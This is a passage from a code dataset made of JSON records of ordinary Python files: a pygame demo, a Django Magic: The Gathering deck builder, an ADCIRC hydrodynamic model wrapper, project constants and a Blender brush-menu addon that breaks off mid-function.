open('../loop.mcfunction', 'w') as f:\n f.write(loop_part)\n\n\ndef names(name):\n return name, f'minecraft:{name}_log', f'{name}_falling'\n\n\nmake([\n make_log(*names('oak')),\n make_log(*names('spruce')),\n make_log(*names('birch')),\n make_log(*names('jungle')),\n make_log(*names('acacia')),\n make_log(*names('dark_oak')),\n])\n","sub_path":"data/timber/functions/generate/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402404344","text":"# The first half is just boiler-plate stuff...\n\nimport pygame\n\nclass SceneBase:\n def __init__(self):\n self.next = self\n \n def ProcessInput(self, events, pressed_keys):\n print(\"uh-oh, you didn't override this in the child class\")\n\n def Update(self, seconds):\n print(\"uh-oh, you didn't override this in the child class\")\n\n def Render(self, screen):\n print(\"uh-oh, you didn't override this in the child class\")\n\n def SwitchToScene(self, next_scene):\n self.next = next_scene\n \n def Terminate(self):\n self.SwitchToScene(None)\n\ndef run_game(width, height, fps, starting_scene):\n pygame.init()\n screen = pygame.display.set_mode((width, height))\n clock = pygame.time.Clock()\n \n\n active_scene = starting_scene\n\n while active_scene != None:\n ms = clock.tick(fps)\n sec = ms / 1000\n\n pressed_keys = pygame.key.get_pressed()\n \n # Event filtering\n filtered_events = []\n for event in pygame.event.get():\n quit_attempt = False\n if event.type == pygame.QUIT:\n quit_attempt = True\n elif event.type == pygame.KEYDOWN:\n alt_pressed = pressed_keys[pygame.K_LALT] or \\\n pressed_keys[pygame.K_RALT]\n if event.key == pygame.K_ESCAPE:\n quit_attempt = True\n elif event.key == pygame.K_F4 and alt_pressed:\n quit_attempt = True\n \n if quit_attempt:\n active_scene.Terminate()\n else:\n filtered_events.append(event)\n \n active_scene.ProcessInput(filtered_events, pressed_keys)\n active_scene.Update(sec)\n active_scene.Render(screen)\n \n active_scene = active_scene.next\n \n pygame.display.flip()\n \n\n# The rest is code where you implement your game using the Scenes model\n\nclass TitleScene(SceneBase):\n def __init__(self):\n SceneBase.__init__(self)\n \n def ProcessInput(self, events, pressed_keys):\n for event in events:\n if event.type == pygame.KEYDOWN and event.key == pygame.K_RETURN:\n # Move to the next scene when the user pressed Enter\n self.SwitchToScene(GameScene())\n \n def Update(self, seconds):\n pass\n \n def Render(self, screen):\n # For the sake of brevity, the title scene is a blank red screen\n screen.fill((255, 0, 0))\n\nclass Tank:\n def __init__(self, originX, originY, width, height, speed):\n self.originX = originX\n self.originY = originY\n self.width = width\n self.height = height\n self.direction = 3\n #direction 1 - up, 2 - right, 3 - down, 4 - left, \n self.speed = speed\n \n def ChangeDirection(self, direction):\n self.direction = direction\n \n def UpdateLocation(self, seconds):\n if self.direction == 1:\n self.originY -= self.speed * seconds\n elif self.direction == 2:\n self.originX += self.speed * seconds\n elif self.direction == 3:\n self.originY += self.speed * seconds\n elif self.direction == 4:\n self.originX -= self.speed * seconds \n \n def GetRectangle(self):\n return (self.originX, self.originY, self.width, self.height)\n \n\n\nclass GameScene(SceneBase):\n def __init__(self):\n SceneBase.__init__(self)\n self.tank = Tank(20, 20, 50, 50, 10)\n\n def ProcessInput(self, events, pressed_keys):\n if pressed_keys[pygame.K_UP]: \n self.tank.ChangeDirection(1)\n elif pressed_keys[pygame.K_RIGHT]: \n self.tank.ChangeDirection(2)\n elif pressed_keys[pygame.K_DOWN]:\n self.tank.ChangeDirection(3)\n elif pressed_keys[pygame.K_LEFT]:\n self.tank.ChangeDirection(4)\n \n def Update(self, seconds):\n self.tank.UpdateLocation(seconds)\n \n def Render(self, screen):\n # The game scene is just a blank blue screen\n screen.fill((0, 0, 255))\n pygame.draw.rect(screen,(200, 255, 122), self.tank.GetRectangle())\n\n\nrun_game(400, 300, 60, TitleScene())","sub_path":"week11/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"142949402","text":"import os\n\npath = 'c:\\\\Users\\\\kurs\\\\workspace'\n\nfiles = []\n# r=root, d=directories, f = files\nfor r, d, f in os.walk(path):\n for file in f:\n if '.py' in file and not \"policz.py\" in file:\n files.append(os.path.join(r, file))\nsuma=0\nfor f in files:\n linijki=0\n print(f)\n with open(f) as plik:\n for line in plik:\n linijki+=1\n print(f\"{f}\\t :{linijki}\")\n suma+=linijki\nprint(suma)\n","sub_path":"policz.py","file_name":"policz.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"123360089","text":"from django.shortcuts import render, HttpResponseRedirect, get_object_or_404\nfrom django.urls import reverse, reverse_lazy\nfrom .models import Deck, Card, Comment\nimport requests\nfrom django.contrib.auth.models import User\nfrom django.views import generic\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import authenticate\n\n\n# -------------------------------- MAH FUNCS\n\n# Name says it all\ndef gimme_card_data_by_id(card_id):\n response = requests.get('https://api.magicthegathering.io/v1/cards/%s' % card_id)\n card_data = response.json()\n return card_data['card'] # Bc its returning {\"card\":{...stuffiwant...}}\n\n\n# from card_id it adds card into DB & returns card\ndef create_card_return(card_id, deck_id):\n deck = get_object_or_404(Deck, pk=deck_id)\n c_data = gimme_card_data_by_id(card_id)\n\n card = Card(card_id=c_data['id'], name=c_data['name'], colors=None,\n type=c_data['type'], cmc=c_data['cmc'], rarity=c_data['rarity'], text=None,\n flavor=None, artist=c_data['artist'], imgUrl=c_data['imageUrl'],\n number=None, deck=deck)\n if 'text' in c_data:\n card.text = c_data['text']\n if 'colors' in c_data:\n card.colors = c_data['colors']\n if 'flavor' in c_data:\n card.flavor = c_data['flavor']\n if 'manaCost' in c_data:\n card.manaCost = c_data['manaCost']\n if 'number' in c_data:\n card.number = c_data['number']\n\n card.save()\n return card\n\n\n# -------------------------------- signup\nclass SignUp(generic.CreateView):\n form_class = UserCreationForm\n success_url = reverse_lazy('login')\n # for all generic class-based views the urls are not loaded when the file is imported, so we have to use the lazy\n # form of reverse to load them later when they’re available\n template_name = 'registration/signup.html'\n\n\n# -------------------------------- VIEWS\n# Main page\ndef index(request):\n return render(request, 'index.html')\n\n\n# def home(request):\n# return render(request, 'home.html')\n\n\n# Just leads to page with 'search card' field\ndef search(request):\n return render(request, 'search/index.html')\n\n\n# Cards found by 'q'\ndef result(request):\n q = request.POST['q']\n response = requests.get('https://api.magicthegathering.io/v1/cards?name=%s' % q)\n c_data = response.json()['cards']\n return render(request, 'search/result.html', {'q': q, 'cards_data': c_data})\n\n\n# Detail of card\ndef detail(request, card_id):\n c_data = gimme_card_data_by_id(card_id)\n img_url = 'http://gatherer.wizards.com/Handlers/Image.ashx?id=%s&type=card' % card_id\n return render(request, 'search/detail.html', {'card_data': c_data, 'url_img': img_url})\n\n\n# All decks\ndef decks(request):\n ds = Deck.objects.all()\n return render(request, 'deck/decks.html', {'decks': ds})\n\n\n# Detail of deck\ndef deck(request, deck_id):\n d = Deck.objects.get(id=deck_id)\n c = d.get_cards()\n userid = None\n if request.user.is_authenticated:\n userid = request.user.id\n comments = Comment.objects.filter(to_deck=deck_id)\n return render(request, 'deck/deck.html', {'deck': d, 'cards': c, 'userid': userid, 'comments': comments})\n\n\n# Leads to 'add card to existing deck' and sending card_id & all decks\ndef add_to_deck(request, card_id):\n decks = Deck.objects.all()\n userid = None\n if request.user.is_authenticated:\n userid = request.user.id\n return render(request, 'add_card/to_existing.html', {'card_id': card_id, 'decks': decks, 'userid': userid})\n\n\n# Saving the deck from 'add card to existing deck'\ndef add_to_deck_submit(request, card_id):\n deck_id = request.POST['deck_id']\n\n d = get_object_or_404(Deck, pk=deck_id)\n create_card_return(card_id, deck_id)\n d.save()\n\n return HttpResponseRedirect(reverse('builder:decks'))\n\n\n# Leads to 'add card to new deck' and sending card_id\ndef create_deck(request, card_id):\n players = User.objects.all()\n userid = None\n if request.user.is_authenticated:\n userid = request.user.id\n return render(request, 'add_card/to_new.html', {'card_id': card_id, 'players': players, 'userid': userid})\n\n\n# Saving the new deck from 'add card to new deck'\ndef create_deck_submit(request, card_id):\n p_id = request.POST['player_id']\n p = get_object_or_404(User, pk=p_id)\n d_name = request.POST['deck_name']\n d = Deck(deck_name=d_name, owner=p)\n d.save()\n create_card_return(card_id, d.id)\n return HttpResponseRedirect(reverse('builder:decks'))\n\n\ndef delete_deck(request, id):\n Deck.objects.filter(id=id).delete()\n return HttpResponseRedirect(reverse('builder:decks'))\n\n\ndef delete_card(request, id):\n Card.objects.filter(id=id).delete()\n return HttpResponseRedirect(reverse('builder:decks'))\n\n\ndef players(request):\n players = User.objects.all()\n return render(request, 'player/players.html', {'players': players})\n\n\ndef player(request, player_id):\n player = User.objects.get(pk=player_id)\n\n decks = Deck.objects.filter(owner=player_id)\n userid = None\n if request.user.is_authenticated:\n userid = request.user.id\n return render(request, 'player/player.html', {'player': player, 'decks': decks, 'userid': userid})\n\n\ndef new_comment(request, deck_id):\n userid = None\n if request.user.is_authenticated:\n userid = request.user.id\n return render(request, 'comment/new_comment.html', {'userid':userid, 'deck_id':deck_id})\n\n\ndef new_comment_submit(request, deck_id):\n text = request.POST['text']\n title = request.POST['title']\n deck = get_object_or_404(Deck, pk=deck_id)\n user = None\n if request.user.is_authenticated:\n user = request.user\n comment = Comment(title=title, text=text, author=user, to_deck=deck)\n comment.save()\n return HttpResponseRedirect(reverse('builder:index'))\n","sub_path":"builder/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"111946511","text":"# Copyright (C) 2013 Lindley Graham\n\n\"\"\"\nSee :class:`domain`\n\"\"\"\nimport subprocess, os\nimport numpy as np\nfrom scipy.interpolate import griddata\nfrom polyadcirc.pyADCIRC.basic import pickleable \nimport polyadcirc.pyADCIRC.prep_management as prep\nimport polyadcirc.pyADCIRC.fort15_management as f15\nimport polyadcirc.pyADCIRC.fort14_management as f14\nimport polyadcirc.pyADCIRC.fort13_management as f13\nimport polyadcirc.pyADCIRC.plotADCIRC as plot\n\nclass domain(pickleable):\n \"\"\"\n :class:`~polyadcirc.run_framework.domain` \n Objects of this class contain all the data needed by\n :class:`~polyadcirc.run_framework.random_manningsn`\n and :class:`~polyadcirc.pyADCIRC.plotADCIRC` for particular mesh(s) or\n grid(s)\n\n path\n full path to the directory containing the ``fort.##`` files for this\n particular mesh(s) or grid(s)\n node_num\n number of nodes\n element_num\n number of elements\n node\n list of nodes\n element\n list of elements where each element is a list of nodes\n manningsn_default\n default Manning's *n* value \n manningsn_num\n number of non-default nodes\n time\n instance of :class:`~polyadcirc.pyADCIRC.basic.time` class\n make_domain_map\n (bool) whether or not a domain map has been created\n\n \"\"\"\n def __init__(self, path, node_num=0, element_num=0, node=None,\n element=None):\n \"\"\"\n Initializatoin\n \"\"\"\n #: int, number of nodes\n self.node_num = node_num\n #: int, number of elements\n self.element_num = element_num\n if node or element:\n #: bool, whether or not a domain map has been created\n self.make_domain_map = False\n #: list, list of nodes\n self.node = node\n #: list, list of elements where each element is a list of nodes\n self.element = element\n else:\n self.make_domain_map = True\n self.node = dict()\n self.element = dict()\n #: string, full path to the dir containing the ``fort.##`` files\n self.path = path\n super(domain, self).__init__()\n\n def read_spatial_grid_header(self):\n \"\"\"\n Reads in spatial grid header from ``fort.14`` file in self.path\n\n See :meth:`polyadcirc.pyADCIRC.fort14_management.read_spatial_grid` \n \"\"\"\n f14.read_spatial_grid_header(self, self.path)\n\n def read_spatial_grid(self):\n \"\"\"\n Reads in spatial grid from ``fort.14`` file in self.path\n\n See :meth:`polyadcirc.pyADCIRC.fort14_management.read_spatial_grid` \n \"\"\"\n f14.read_spatial_grid(self, self.path)\n\n def read_recording_data(self):\n \"\"\"\n Reads in recording information from ``fort.15`` in self.path\n\n See :meth:`polyadcirc.pyADCIRC.fort15_management.read_recording_data`\n \"\"\"\n f15.read_recording_data(self, self.path)\n\n def update(self, path=None):\n \"\"\"\n Sets the directory containing files for this domain to self.path\n\n Reads in data from ``fort.14`` and ``fort.15`` files and updates self\n accordingly\n\n :type path: string or None\n :param path: directory containing ``fort.##`` files\n\n See :meth:`~polyadcirc.pyADCIRC.fort15_management.read_spatial_grid` \n See :meth:`~polyadcirc.pyADCIRC.fort15_management.read_recording_data` \n\n \"\"\"\n if path:\n self.path = path\n # Read in the fort.14 file\n self.read_spatial_grid() \n # Read in the fort.15 file\n self.read_recording_data()\n\n def make_node_to_element_map(self):\n \"\"\"\n Create the node to element map\n \"\"\"\n for k, v in self.node.iteritems():\n v.element = []\n for i, w in self.element.iteritems():\n if k in w:\n v.element.append(i)\n\n def array_bathymetry(self):\n \"\"\"\n \n :rtype: :class:`numpy.ndarray` of size(1, node_num)\n :returns: array containing the bathymetry at all nodes in numerical\n order\n\n \"\"\"\n bathymetry = np.array([node.bathymetry for node in self.node.values()])\n self.bathymetry = bathymetry\n return self.bathymetry\n \n def array_x(self):\n \"\"\"\n \n :rtype: :class:`numpy.ndarray` of size(1, node_num)\n :returns: array containing the x locations at all nodes in numerical\n order\n\n \"\"\"\n return np.array([node.x for node in self.node.values()]) \n \n def array_y(self):\n \"\"\"\n \n :rtype: :class:`numpy.ndarray` of size(1, node_num)\n :returns: array containing the y locations at all nodes in numerical\n order\n\n \"\"\"\n return np.array([node.y for node in self.node.values()])\n \n def array_manningsn(self):\n \"\"\"\n \n :rtype: :class:`numpy.ndarray` of size(1, node_num)\n :returns: array of containing the Manning's *n* value at all nodes in\n numerical order\n\n \"\"\"\n return np.array([node.manningsn for node in self.node.values()]) \n\n def dict_bathymetry(self):\n \"\"\"\n \n :rtype: :class:`dict`\n :returns: ``key`` -- node number, ``value`` -- bathymetry\n\n \"\"\"\n temp = dict()\n for k, node in self.node.iteritems():\n temp[k] = node.bathymetry\n return temp\n\n def dict_manningsn(self):\n \"\"\"\n \n :rtype: :class:`dict`\n :returns: ``key`` -- node number, ``value`` -- manningsn\n\n \"\"\"\n temp = dict()\n for k, node in self.node.iteritems():\n temp[k] = node.manningsn\n return temp\n\n def read_nodal_attr(self, path=None, file_name='fort.13'):\n \"\"\"\n Load in nodal attributes from a ``*.13`` file (only does Manning's *n*\n for now) and return a dictonary (like a MATLAB struct) with these\n attributes).\n\n :type path: string or None\n :param path: directory containing ``fort.13`` formatted file\n :param string file_name: ``fort.13`` formatted file name\n \n :returns: See :meth:`~polyadcirc.pyADCIRC.fort13_management.read_nodal_attr`\n\n \"\"\"\n if path is None:\n path = self.path\n return f13.read_nodal_attr(self, path, file_name)\n\n def read_default(self, path=None, file_name='fort.13'):\n \"\"\"\n Read in default nodal value from a ``*.13`` file\n\n :type path: string or None\n :param path: directory containing ``fort.13`` formatted file\n :param string file_name: ``fort.13`` formatted file name\n \n :returns: See :meth:`~polyadcirc.pyADCIRCfort13_management.read_default`\n\n \"\"\"\n if path is None:\n path = self.path\n return f13.read_default(self, path, file_name)\n\n def get_Triangulation(self, path=None, save=True, show=False, ext='.eps',\n ics=2):\n \"\"\"\n :type path: None or string\n :param string path: directory containing ``figs/`` folder\n :param bool save: flag\n :param bool show: flag\n \n :returns: See :meth:`~polyadcirc.pyADCIRC.plotADCIRC.get_Triangulation`\n\n \"\"\"\n return plot.get_Triangulation(self, path, save, show, ext=ext, ics=ics)\n\n def plot_bathymetry(self, path=None, save=True, show=False, ext='.eps',\n ics=2):\n \"\"\"\n :type path: None or string\n :param string path: directory containing ``figs/`` folder\n :param bool save: flag\n :param bool show: flag\n \n :returns: See :meth:`~polyadcirc.pyADCIRC.plotADCIRC.bathymetry`\n\n \"\"\"\n return plot.bathymetry(self, path, save, show, ext=ext, ics=ics)\n\n def plot_station_locations(self, path=None, bathymetry=False, \n save=True, show=False, ext='.eps',\n ics=2):\n \"\"\"\n :param string path: directory containing ``figs/`` folder\n :type bathymetry: bool\n :param bathymetry: flag whether or not to plot bathymetry in the\n background \n :param bool save: flag\n :param bool show: flag\n \n :returns: See :meth:`~polyadcirc.pyADCIRC.plotADCIRC.station_locations`\n\n \"\"\"\n return plot.station_locations(self, path, bathymetry, save, show,\n ext=ext, ics=ics)\n\n def adjust(self, x_lims=None, b_lims=None, path=None, plotb=False):\n \"\"\"\n Adds a bathymetry between x-locations defined by ``x_lims`` with\n bathymetry linearly interpolated between ``b_lims``\n\n :param list x_lims: [x_min, x_max]\n :param list b_lims: [b_min, b_max]\n :type path: string or None\n :param path: directory containing the ``fort.14`` to be adjusted\n\n \"\"\"\n if path is None:\n path = self.path\n if x_lims is None:\n x_lims = [0, 0]\n x_lims[0] = np.min(np.array([node.x for node in \\\n self.node.values()])) \n x_lims[1] = np.max(np.array([node.x for node in \\\n self.node.values()]))\n for n in self.node.values():\n n.bathymetry += adjust_factor(n.x, x_lims, b_lims)\n if plotb:\n self.plot_bathymetry(path)\n \n def add_wall(self, box_limits, wall_height=-2, path=None, plotb=False,\n save=False, show=False):\n \"\"\"\n\n Adds a land wall of default 2 m in area defined by ``box_limits``\n \n :param path: directory containing the ``fort.14`` to be adjusted\n :type path: string or None\n\t:param list box_limits: [xmin, xmax, ymin, ymax] \n\n \"\"\"\n if path is None:\n path = self.path\n for n in self.node.values():\n if box_limits[0] <= n.x <= box_limits[1]: \n if box_limits[2] <= n.y <= box_limits[3]:\n n.bathymetry = wall_height\n if plotb:\n self.plot_bathymetry(path, save, show)\n\n def set_station_bathymetry(self, key='fort61', method='linear'):\n #pylint: disable-msg=E1101\n \"\"\"\n Sets they bathymetry for all stations by interpolating w.r.t. the nodal\n locations\n\n :param string key: key for domain.stations[key]\n :param string method: linear interpolation method see\n :meth:`scipy.interpolate.griddata` \n\n \"\"\"\n points = np.array([[n.x, n.y] for n in self.node.itervalues()])\n station_locs = np.array([[s.x, s.y] for s in self.stations[key]])\n station_bath = griddata(points, self.array_bathymetry(), \n station_locs, method)\n for i, s in enumerate(self.stations[key]):\n s.bathymetry = station_bath[i]\n \n def run(self, num_procs, base_dir, input_dir=None, global_dir=None, \n write_option=None, num_writers=None, LorS=None, R=False):\n \"\"\"\n \n Preprocess and run ADCIRC on this domain\n\n .. seealso:: `Generic ADCIRC Command Line Options `_\n\n :param int num_procs: number of processors for this ADCIRC run\n :param string base_dir: directory containing the padcirc executables\n :param string input_dir: directory containing the input files\n :param string global_dir: directory to write fulldomain output files to\n :param string write_option: (optional) specifiy ``W`` or ``Ws`` flag\n :param int num_writers: number of MPI process to dedicate soley to the\n task of writing ascii files\n :param string LorS: (optional) specify ``L`` or ``S`` flag\n :param string R: (optional) specify ``R`` flag\n\n \"\"\"\n if base_dir is None:\n base_dir = self.path\n if input_dir is None:\n input_dir = self.path\n if global_dir is None:\n global_dir = self.path\n if not os.path.exists(os.path.join(self.path, 'adcprep')):\n os.symlink(os.path.join(base_dir, 'adcprep'),\n os.path.join(self.path, 'adcprep')) \n prep.write_1(self.path, num_procs)\n prep.write_2(self.path, num_procs)\n subprocess.call('./adcprep < in.prep1 > prep_o.txt', shell=True, \n cwd=self.path) \n subprocess.call('./adcprep < in.prep2 > prep_o.txt', shell=True, \n cwd=self.path) \n command = ['ibrun', 'padcirc', '-I', input_dir, '-O', global_dir]\n if LorS:\n command.append('-'+LorS)\n if R:\n command.append('-'+R)\n if write_option:\n command.append('-'+write_option)\n command.append(str(num_writers))\n subprocess.call(command, cwd=base_dir)\n \n def update_mann(self, data, path=None, default=None, file_name='fort.13'):\n \"\"\"\n Write out fort.13 to path with the attributes contained in Data. \n\n :type data: :class:`numpy.ndarray` or :class:`dict`\n :param data: containing the nodal attribute information\n :type path: string or None\n :param path: the directory to which the fort.13 file will be written\n :type default: None or float\n :param default: default value\n :type file_name: string\n :param file_name: the name of the ``fort.13`` formatted file\n\n \"\"\"\n f13.update_mann(data, path, default, file_name) \n\n def find_neighbors(self):\n \"\"\"\n Determine the neighbors of each of the nodes and store in\n ``self.node[#].neighbors`` as a ``set()``.\n \"\"\"\n for n in self.node.itervalues():\n n.neighbors = set()\n for e in self.element.itervalues():\n self.node[e[0]].neighbors.add(e[1])\n self.node[e[0]].neighbors.add(e[2])\n self.node[e[1]].neighbors.add(e[0])\n self.node[e[1]].neighbors.add(e[2])\n self.node[e[2]].neighbors.add(e[1])\n self.node[e[2]].neighbors.add(e[0])\n\ndef adjust_factor(x, x_lims, b_lims=None):\n \"\"\"\n :param float x: current x value\n :param float x_lims: box of x values to adjust\n :param float b_lims: bathy adj at x_lims\n :rtype: float\n :returns: b = bathy adjustment\n\n \"\"\"\n if b_lims is None:\n return 0\n if x < x_lims[0] or x > x_lims[1]:\n return 0\n else:\n value = b_lims[0]\n slope = (b_lims[1]-b_lims[0]) / (x_lims[1]-x_lims[0])\n value += (x-x_lims[0])*slope\n return value \n\n","sub_path":"polyadcirc/run_framework/domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":14592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"379862593","text":"from src.plugins import system, gtk, kvantum, wallpaper, firefox, vscode, atom\n\n# NOTE initialize your plugin over here:\n# The order in the list specifies the order in the config gui\nfrom src.plugins._plugin import Plugin\n\nplugins: [Plugin] = [\n system.System(),\n gtk.Gtk(),\n kvantum.Kvantum(),\n wallpaper.Wallpaper(),\n firefox.Firefox(),\n vscode.Vscode(),\n atom.Atom()\n]\n\n# this lets us skip all external plugins in yin_yang.py while keeping _plugin \"private\"\nExternalPlugin = _plugin.ExternalPlugin\n","sub_path":"src/plugins/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"210835417","text":"import pandas as pd\nfrom augmentations import get_4_augms_list, get_1_augms_list\n\nbatch_size = 8\nsegment_count = 8\nsnippet_length = 1 # Number of frames composing the snippet, 1 for RGB, 5 for optical flow\nsnippet_channels = 3 # Number of channels in a frame, 3 for RGB, 2 for optical flow\nheight, width = 224, 224\n\nrepo = 'epic-kitchens/action-models'\n\nclass_counts = (125, 352)\n\nframes_path_pattern = 'data/frames_a/*'\ntrained_models_dir = 'trained_models'\n\nnouns = pd.read_csv('data/EPIC_noun_classes.csv')\nverbs = pd.read_csv('data/EPIC_verb_classes.csv')\n\n\nbase_models = ['resnet50', 'BNInception']\nheads = ['TSN', 'TRN', 'MTRN', 'TSM']\ndevice = 'cuda'#'cpu' #'cuda'\n\nrandom_iters = 4\naugm_fn_list = get_4_augms_list()\n\n\n#fine tune params\nfine_tune_epochs=100\nfine_tune_lr=1e-4\nfine_tune_verbs=['take','put','move']\nfine_tune_val_split=0.2\nfine_tune_head='TRN'\nfine_tune_base='BNInception'\n","sub_path":"consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"359868466","text":"from bpy.props import *\nfrom core import *\n\nclass BrushOptionsMenu(bpy.types.Menu):\n bl_label = \"Brush Options\"\n bl_idname = \"view3d.brush_options\"\n\n def draw(self, context):\n menu = Menu(self)\n\n if get_mode() == sculpt:\n self.sculpt(menu, context)\n\n elif get_mode() in [vertex_paint, weight_paint]:\n self.vw_paint(menu, context)\n\n elif get_mode() == texture_paint:\n self.texpaint(menu, context)\n\n else:\n self.particle(menu, context)\n\n def sculpt(self, menu, context):\n menu.add_item().menu(\"view3d.brushes_menu\")\n menu.add_item().menu(BrushRadiusMenu.bl_idname)\n menu.add_item().menu(BrushStrengthMenu.bl_idname)\n menu.add_item().menu(BrushAutosmoothMenu.bl_idname)\n menu.add_item().menu(BrushModeMenu.bl_idname)\n\n def vw_paint(self, menu, context):\n menu.add_item().menu(\"view3d.brushes_menu\")\n if get_mode() == weight_paint:\n menu.add_item().menu(BrushWeightMenu.bl_idname)\n menu.add_item().menu(BrushRadiusMenu.bl_idname)\n menu.add_item().menu(BrushStrengthMenu.bl_idname)\n menu.add_item().menu(BrushModeMenu.bl_idname)\n\n def texpaint(self, menu, context):\n menu.add_item().menu(\"view3d.brushes_menu\")\n menu.add_item().menu(BrushRadiusMenu.bl_idname)\n menu.add_item().menu(BrushStrengthMenu.bl_idname)\n menu.add_item().menu(BrushModeMenu.bl_idname)\n\n def particle(self, menu, context):\n menu.add_item().menu(\"view3d.brushes_menu\")\n menu.add_item().prop_menu_enum(bpy.context.tool_settings.particle_edit, \n \"tool\", text=\"Select Brush\")\n menu.add_item().menu(BrushRadiusMenu.bl_idname)\n menu.add_item().menu(BrushStrengthMenu.bl_idname)\n\n if context.tool_settings.particle_edit.tool == 'ADD':\n menu.add_item().separator()\n menu.add_item().prop(context.tool_settings.particle_edit, \n \"use_default_interpolate\", toggle=True)\n\n if context.tool_settings.particle_edit.use_default_interpolate:\n menu.add_item().prop(context.tool_settings.particle_edit.brush, \n \"steps\", slider=True)\n menu.add_item().prop(context.tool_settings.particle_edit, \n \"default_key_count\", slider=True)\n\n if context.tool_settings.particle_edit.tool == 'LENGTH':\n menu.add_item().separator()\n menu.add_item().prop(context.tool_settings.particle_edit.brush, \n \"length_mode\", text=\"\")\n\n if context.tool_settings.particle_edit.tool == 'PUFF':\n menu.add_item().separator()\n menu.add_item().prop(context.tool_settings.particle_edit.brush, \n \"puff_mode\", text=\"\")\n menu.add_item().prop(context.tool_settings.particle_edit.brush, \n \"use_puff_volume\", toggle=True)\n \nclass BrushRadiusMenu(bpy.types.Menu):\n bl_label = \"Radius\"\n bl_idname = \"view3d.brush_radius_menu\"\n\n def init(self, context):\n if get_mode() == particle_edit:\n settings = [[\"100\", 100], [\"70\", 70], [\"50\", 50],\n [\"30\", 30], [\"20\", 20], [\"10\", 10]]\n datapath = \"tool_settings.particle_edit.brush.size\"\n proppath = context.tool_settings.particle_edit.brush\n\n else:\n settings = [[\"200\", 200], [\"150\", 150], [\"100\", 100], \n [\"50\", 50], [\"35\", 35], [\"10\", 10]]\n datapath = \"tool_settings.unified_paint_settings.size\"\n proppath = context.tool_settings.unified_paint_settings\n\n return settings, datapath, proppath\n\n def draw(self, context):\n settings, datapath, proppath = self.init(context)\n menu = Menu(self)\n\n # add the top slider\n menu.add_item().prop(proppath, \"size\", slider=True)\n\n # add the rest of the menu items\n for i in range(len(settings)):\n menuprop(menu.add_item(), settings[i][0], settings[i][1],\n datapath, icon='RADIOBUT_OFF', disable=True, \n disable_icon='RADIOBUT_ON')\n\nclass BrushStrengthMenu(bpy.types.Menu):\n bl_label = \"Strength\"\n bl_idname = \"view3d.brush_strength_menu\"\n\n def init(self, context):\n settings = [[\"1.0\", 1.0], [\"0.7\", 0.7], [\"0.5\", 0.5],\n [\"0.3\", 0.3], [\"0.2\", 0.2], [\"0.1\", 0.1]]\n\n if get_mode() == sculpt:\n datapath = \"tool_settings.sculpt.brush.strength\"\n proppath = context.tool_settings.sculpt.brush\n\n elif get_mode() == vertex_paint:\n datapath = \"tool_settings.vertex_paint.brush.strength\"\n proppath = context.tool_settings.vertex_paint.brush\n\n elif get_mode() == weight_paint:\n datapath = \"tool_settings.weight_paint.brush.strength\"\n proppath = context.tool_settings.weight_paint.brush\n\n elif get_mode() == texture_paint:\n datapath = \"tool_settings.image_paint.brush.strength\"\n proppath = context.tool_settings.image_paint.brush\n\n else:\n datapath = \"tool_settings.particle_edit.brush.strength\"\n proppath = context.tool_settings.particle_edit.brush\n\n return settings, datapath, proppath\n\n def draw(self, context):\n settings, datapath, proppath = self.init(context)\n menu = Menu(self)\n\n # add the top slider\n menu.add_item().prop(proppath, \"strength\", slider=True)\n\n # add the rest of the menu items\n for i in range(len(settings)):\n menuprop(menu.add_item(), settings[i][0], settings[i][1],\n datapath, icon='RADIOBUT_OFF', disable=True, \n disable_icon='RADIOBUT_ON')\n\nclass BrushModeMenu(bpy.types.Menu):\n bl_label = \"Brush Mode\"\n bl_idname = \"view3d.brush_mode_menu\"\n\n def init(self):\n if get_mode() == sculpt:\n path = \"tool_settings.sculpt.brush.sculpt_plane\"\n brushmodes = [[\"Area Plane\", 'AREA'],\n [\"View Plane\", 'VIEW'],\n [\"X Plane\", 'X'],\n [\"Y Plane\", 'Y'],\n [\"Z Plane\", 'Z']]\n\n elif get_mode() == texture_paint:\n path = \"tool_settings.image_paint.brush.blend\"\n brushmodes = [[\"Mix\", 'MIX'],\n [\"Add\", 'ADD'],\n [\"Subtract\", 'SUB'],\n [\"Multiply\", 'MUL'],\n [\"Blur\", 'BLUR'],\n [\"Lighten\", 'LIGHTEN'],\n [\"Darken\", 'DARKEN'],\n [\"Erase Alpha\", 'ERASE_ALPHA'],\n [\"Add Alpha\", 'ADD_ALPHA']]\n\n else:\n path = \"tool_settings.vertex_paint.brush.vertex_tool\"\n brushmodes = [[\"Mix\", 'MIX'],\n [\"Add\", 'ADD'],\n [\"Subtract\", 'SUB'],\n [\"Multiply\", 'MUL'],\n [\"Blur\", 'BLUR'],\n [\"Lighten\", 'LIGHTEN'],\n [\"Darken\", 'DARKEN']]\n\n return path, brushmodes\n\n def draw(self, context):\n path, brushmodes = self.init()\n menu = Menu(self)\n\n # add all the brush modes to the menu\n for brush in brushmodes:\n menuprop(menu.add_item(), brush[0],\n brush[1], path, icon='RADIOBUT_OFF',\n disable=True, disable_icon='RADIOBUT_ON')\n\nclass BrushAutosmoothMenu(bpy.types.Menu):\n bl_label = \"Autosmooth\"\n bl_idname = \"view3d.brush_autosmooth_menu\"\n\n def init(self):\n settings = [[\"1.0\", 1.0], [\"0.7\", 0.7], [\"0.5\", 0.5], [\"0.3\", 0.3], [\"0.2\", 0.2],\n [\"0.1\", 0.1]]\n\n return settings\n\n def draw(self, context):\n settings = self.init()\n menu = Menu(self)\n\n # add the top slider\n 